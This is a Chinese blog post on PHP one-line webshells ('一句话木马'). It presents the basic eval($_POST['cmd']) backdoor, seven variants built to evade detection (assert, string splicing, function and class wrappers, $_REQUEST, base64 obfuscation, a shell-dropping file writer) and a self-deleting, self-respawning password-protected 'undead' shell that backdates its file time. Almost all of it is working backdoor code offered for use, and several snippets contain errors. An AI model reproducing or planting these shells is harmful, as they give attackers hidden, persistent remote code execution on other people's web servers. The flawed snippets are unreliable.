一句话木马及免杀

这篇文章主要是总结一句话木马,并实现一句话木马的简单免杀,以及一个不死马的实现。

一句话木马及原理

首先,来看最简单的一句话木马:

<?php @eval($_POST['cmd']); ?>

前面的<?php ?>是php的文件格式,@是让程序在执行错误的情况下也不要报错,eval()函数是将括号里的内容都当作代码执行,$_POST['cmd']应该都很熟悉了,通过cmd这个参数post提交数据。
举个例子,我在网站根目录下写入一句话木马
在这里插入图片描述
随后在127.0.0.1/index.php中,post提交cmd的数据为phpinfo();,出现了相应的界面,可以看到出现了命令执行漏洞。
在这里插入图片描述
除了这样命令执行,还可以用蚁剑、菜刀进行连接。

一句话木马简单免杀

从上面的演示中可以看到一句话木马的简单、高效,但就是因为其过于简单,查杀起来也很方便,所以要对其进行变形,让它不容易被发现。以下是几个免杀方法:

一、assert()

如果过滤了eval,可以使用assert绕过

assert() 会检查指定的 assertion 并在结果为true时执行

<?php @assert($_POST['cmd']); ?>

二、字符串拼接

当过滤了eval、assert两个关键字时,可以用字符串拼接的方式。介绍substr_replace()函数

substr_replace(string,replacement,start,length)

参数描述
string必需,规定检查的字符串。
replacement必需,规定要插入的字符串。
start必需,规定在字符串的何处开始替换。若为0,从头开始。
length可选。规定要替换多少个字符。默认是与字符串长度相同。
<?php
	$a=substr_replace("assexx","rt",4);
	@$a($_POST['cmd']);
?>

在这个马中,是将第四位和第五位,也就是xx替换成rt,最终拼接成为assert

除了substr_replace(),还有一种拼接方法

<?php
	$a="a"."s";
	$b="s"."e"."rt";
	$c=$a.$b;
	$c($_POST['cmd']);
?>

三、函数

可以利用函数来构造一句话木马

<?php
	function shyshy($a){
	assert($a);
	}
	@shyshy($_POST['cmd']);
?>

先是构造了shyshy()这一函数,然后调用函数,变成一句话木马。

四、request请求

适用于过滤了GETPOST的情况下

<?php
	$a=$_REQUEST['cmd'];
	$b="\n";
	eval($b.=$a);
?>

五、类

可以构造一个类,利用魔术方法来拼接

<?php
	class shyshy{
		public $a='';
		function __destruct(){
			assert("this->$a");
			}
		}
		$b=new shyshy();
		$b->a=$_POST['cmd'];
?>

六、base64加解密

<?php
	$a=base_decode(YXNzZXJ0);
	$b=$a(base64_decode($_POST['cmd']));
?>

七、写入木马

<?php
	if(isset($_POST['filename']))
	{
		$d='data';
		$$d=$_POST['text'];  //$data
		$f='fp';
		$$f=fopen($_POST['filename'],'wb');  //$fp
		echo fwrite($fp,$data):"save success":"save fail";
		fclose($fp);
	}
?>

这个代码通过在网站根目录下写一句话木马的方法,然后再去访问木马,从而getshell。

不死马

<?php
	ignore_user_abort(true);  //设置与客户机断开是否会终止脚本的执行,true则不会
	set_time_limit(0);  //如果为零说明永久执行直到程序结束
	unlink(__FILE__);  //调用unlink()的时候,文件还是存在的,只是目录里找不到该文件了,但是已经打开这个文件的进程可以正常读写
	$file='./.index1.php';
	$code='<?php
		if(md5($_POST["pass"])=="xxxxxxxxxx")  //给木马设置密码,防止他人使用
		{
			@eval($_POST["cmd"]);
		}?>';  
	while(1){
		file_put_contents($file,$code);
		system('touch -m -d "2018-12-01 9:10:12" .index1.php');  //设置文件的编辑时间
	usleep(5000);
	}
?>

实测时发现设置文件编辑时间那里会报错,可以选择把那一句删掉。
用法:?pass=shyshy&cmd=phpinfo();

  • 14
    点赞
  • 127
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值